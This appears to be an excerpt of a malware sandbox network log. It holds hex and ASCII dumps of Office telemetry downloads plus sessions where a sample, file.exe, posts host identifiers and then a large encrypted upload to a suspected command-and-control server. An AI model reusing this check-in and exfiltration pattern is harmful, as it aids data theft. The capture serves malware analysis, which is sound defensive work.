2024-11-30 03:12:14 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-30 03:12:14 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-30 03:12:14 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-30 03:12:14 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-30 03:12:14 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-30 03:12:14 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-30 03:12:14 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49715	104.21.16.9	443	4344	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:15 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9Q1EVZL4U1SCL9FRRR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1233 Host: atten-supporse.biz
2024-11-30 03:12:15 UTC	1233	OUT	Data Raw: 2d 2d 39 51 31 45 56 5a 4c 34 55 31 53 43 4c 39 46 52 52 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 30 44 46 43 36 43 33 38 34 34 46 35 38 46 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 39 51 31 45 56 5a 4c 34 55 31 53 43 4c 39 46 52 52 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 51 31 45 56 5a 4c 34 55 31 53 43 4c 39 46 52 52 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --9Q1EVZL4U1SCL9FRRRContent-Disposition: form-data; name="hwid"A30DFC6C3844F58FEFA3D63B69E7CA14--9Q1EVZL4U1SCL9FRRRContent-Disposition: form-data; name="pid"1--9Q1EVZL4U1SCL9FRRRContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-30 03:12:15 UTC	1018	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7a240d9bl1okpcqebjqkqjr6fm; expires=Tue, 25-Mar-2025 20:58:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PH4J%2FEqx4ACC28dYr0jp9A1f7NeV7%2BMbjsrWLpZNk4icJf3co%2BeV51v32kcZjmuHtkDxKGngTGTvVmnawrUCoSl7FBCW6Jv2T6UYFz2H0PrTXC6i%2FaUMpXia7EdUd7PTObqPN2w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea7a79ef8fe19cf-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1768&min_rtt=1754&rtt_var=685&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2152&delivery_rate=1564844&cwnd=252&unsent_bytes=0&cid=e9eb807d01d36fc8&ts=810&x=0"
2024-11-30 03:12:15 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-30 03:12:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:16 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:16 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031216Z-174f7845968px8v7hC1EWR08ng000000110g00000000gzbs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:17 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:16 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:17 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031217Z-174f78459688l8rvhC1EWRtzr00000000dbg00000000faxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:17 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:16 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:17 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: e2494acb-201e-0003-0207-42f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031217Z-174f7845968j6t2phC1EWRcfe800000010yg00000000df3s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:17 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:16 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:17 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2ca1f14f-f01e-001f-3f2a-405dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031217Z-174f7845968px8v7hC1EWR08ng0000001160000000002hp7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:17 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:16 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:17 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 748acc8f-d01e-0082-56a3-42e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031217Z-174f7845968j6t2phC1EWRcfe80000001100000000009rpy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:17 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49722	104.21.16.9	443	4344	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:17 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GN45BT3MXMEPG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 584667 Host: atten-supporse.biz
2024-11-30 03:12:17 UTC	15331	OUT	Data Raw: 2d 2d 47 4e 34 35 42 54 33 4d 58 4d 45 50 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 30 44 46 43 36 43 33 38 34 34 46 35 38 46 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 47 4e 34 35 42 54 33 4d 58 4d 45 50 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 47 4e 34 35 42 54 33 4d 58 4d 45 50 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 47 4e 34 35 42 Data Ascii: --GN45BT3MXMEPGContent-Disposition: form-data; name="hwid"A30DFC6C3844F58FEFA3D63B69E7CA14--GN45BT3MXMEPGContent-Disposition: form-data; name="pid"1--GN45BT3MXMEPGContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--GN45B
2024-11-30 03:12:17 UTC	15331	OUT	Data Raw: cb 6f 3e 1f 20 94 e3 a6 3b ff cb f0 64 3d b6 a4 5a bd 93 fc f1 69 f4 c9 db 35 1f f3 12 0c 8e c3 43 22 4e c7 3a f2 b4 d2 ec 85 10 29 bb 2a af 0d dd e4 5d 07 8b 50 0e d4 3f 51 8b 2d 60 4b 6f 80 49 9b f8 24 43 cc 2d 98 33 b5 a2 ca 41 23 ce e4 5c 3b 1b 77 b4 a4 8a 72 58 84 17 d7 a7 4b 49 75 7e 88 7d ff 6c 52 bd 40 c7 9a c3 53 48 f7 c8 08 09 dc fe 95 48 d7 11 f7 e4 ce fb c9 7f 11 24 3d 8d 88 8a 8e 5f d9 f4 8d 1b 7b 12 d9 92 fb 18 37 13 3c 83 68 d0 9e 37 cd 6f e6 e3 3d 7d 8c 58 30 24 43 31 20 63 7b b1 93 82 e7 55 3b 0e 2b be f9 2c ca b6 41 94 79 85 17 4c 87 85 82 d6 5a b5 46 e5 45 ed 9d 64 76 29 f9 9c 85 53 e8 0b 3f 36 a9 a8 30 e0 8f 0a 29 c0 29 d6 be 4a 55 9e ff 76 4a 72 ec e6 f4 d0 1b 24 1b 2c ca 4f b6 fb b2 e3 7f 